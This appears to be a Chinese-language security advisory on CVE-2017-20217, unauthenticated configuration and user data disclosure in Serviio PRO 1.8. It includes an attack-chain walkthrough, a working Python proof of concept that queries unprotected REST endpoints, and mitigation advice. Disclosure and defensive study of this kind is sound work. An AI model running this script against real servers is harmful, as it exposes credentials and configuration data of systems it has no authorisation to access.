IPBUF安全漏洞报告
English
CVE-2017-20217 CVSS 7.5 高危

CVE-2017-20217: Serviio PRO 1.8 Configuration REST API未授权信息泄露漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2017-20217
漏洞类型
未授权访问/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Serviio PRO 1.8

相关标签

信息泄露未授权访问REST APIServiioCVE-2017-20217访问控制绕过高危漏洞

漏洞概述

Serviio PRO 1.8是一款流行的数字媒体服务器软件,允许用户通过本地网络流式传输多媒体内容。该版本中存在一个严重的信息泄露漏洞,源于Configuration REST API的访问控制机制不完善。攻击者无需任何认证凭证,即可通过发送特制的HTTP请求访问敏感的REST API端点,从而获取服务器配置数据、用户凭据、媒体路径等敏感信息。这些泄露的信息可能被用于进一步的网络攻击或数据窃取。该漏洞的CVSS评分为7.5,属于高危级别,对系统的机密性造成严重影响。鉴于Serviio通常部署在家庭网络或企业内部环境中,此类信息泄露可能导致更广泛的横向移动风险。

技术细节

漏洞根源在于Serviio PRO 1.8的Configuration REST API端点(如/api/configuration、/api/users等)缺乏适当的身份验证和授权检查。当用户访问Serviio管理控制台时,后端服务会加载配置数据但未验证请求来源是否具有合法会话。攻击者可以直接构造HTTP GET请求到这些API端点,无需携带任何认证cookie或token。服务端直接返回完整的JSON格式配置数据,包括:管理员用户名和哈希密码、媒体文件夹路径、网络配置、插件设置等敏感信息。攻击者可通过遍历不同的API路径(如/api/configuration、/api/users、/api/logs)获取不同类型的敏感数据。由于REST API设计时假设内网可信,未实现基于角色的访问控制(RBAC),导致攻击者可在内网环境下直接利用此漏洞。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,发现运行Serviio PRO 1.8的服务器,识别其IP地址和REST API端口(默认23423)
STEP 2
2. 探测API端点
攻击者尝试访问Serviio的Configuration REST API端点,如/api/configuration、/api/users等,验证漏洞存在性
STEP 3
3. 发送未授权请求
直接发送HTTP GET请求到敏感API端点,无需携带任何认证凭证(cookie、token等)
STEP 4
4. 获取敏感数据
服务端直接返回JSON格式的敏感配置信息,包括管理员用户名、密码哈希、媒体路径、网络配置等
STEP 5
5. 数据利用
攻击者分析获取的配置数据,提取密码哈希进行破解,或利用媒体路径信息进行进一步攻击
STEP 6
6. 横向移动
利用获取的凭据或配置信息,对内网中的其他系统发起进一步攻击,或获取更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2017-20217 PoC - Serviio PRO 1.8 Unauthenticated Configuration Access This PoC demonstrates the information disclosure vulnerability in Serviio REST API """ import requests import json import sys def exploit_serviio(target_ip, target_port=23423): """ Exploit the unauthenticated access to Serviio Configuration REST API Args: target_ip: Target Serviio server IP address target_port: Serviio REST API port (default: 23423) """ base_url = f"http://{target_ip}:{target_port}" # Sensitive API endpoints that can be accessed without authentication endpoints = [ "/api/configuration", "/api/users", "/api/logs", "/api/status" ] print(f"[*] Targeting Serviio server at {target_ip}:{target_port}") print("=" * 60) for endpoint in endpoints: try: print(f"\n[*] Accessing endpoint: {endpoint}") url = base_url + endpoint # Send unauthenticated request response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Retrieved data from {endpoint}") try: data = response.json() print(f"[+] Response data: {json.dumps(data, indent=2)[:500]}") except: print(f"[+] Response text: {response.text[:500]}") elif response.status_code == 401: print(f"[-] Authentication required for {endpoint}") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2017-20217-poc.py <target_ip> [port]") print("Example: python cve-2017-20217-poc.py 192.168.1.100 23423") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23423 exploit_serviio(target, port)

影响范围

Serviio PRO 1.8
Serviio PRO 1.7 (可能受影响)
Serviio PRO 1.6 (可能受影响)

防御指南

临时缓解措施
立即在网络边界实施访问控制策略,阻止未经授权的外部访问Serviio REST API端口(23423)。同时在Serviio管理界面中启用强密码策略,并定期更换管理员密码。建议使用防火墙规则限制只有受信任的IP地址可以访问API端点,或通过VPN连接后访问。对于无法立即升级的情况,可考虑暂时禁用Configuration REST API功能或部署WAF规则检测异常的API访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表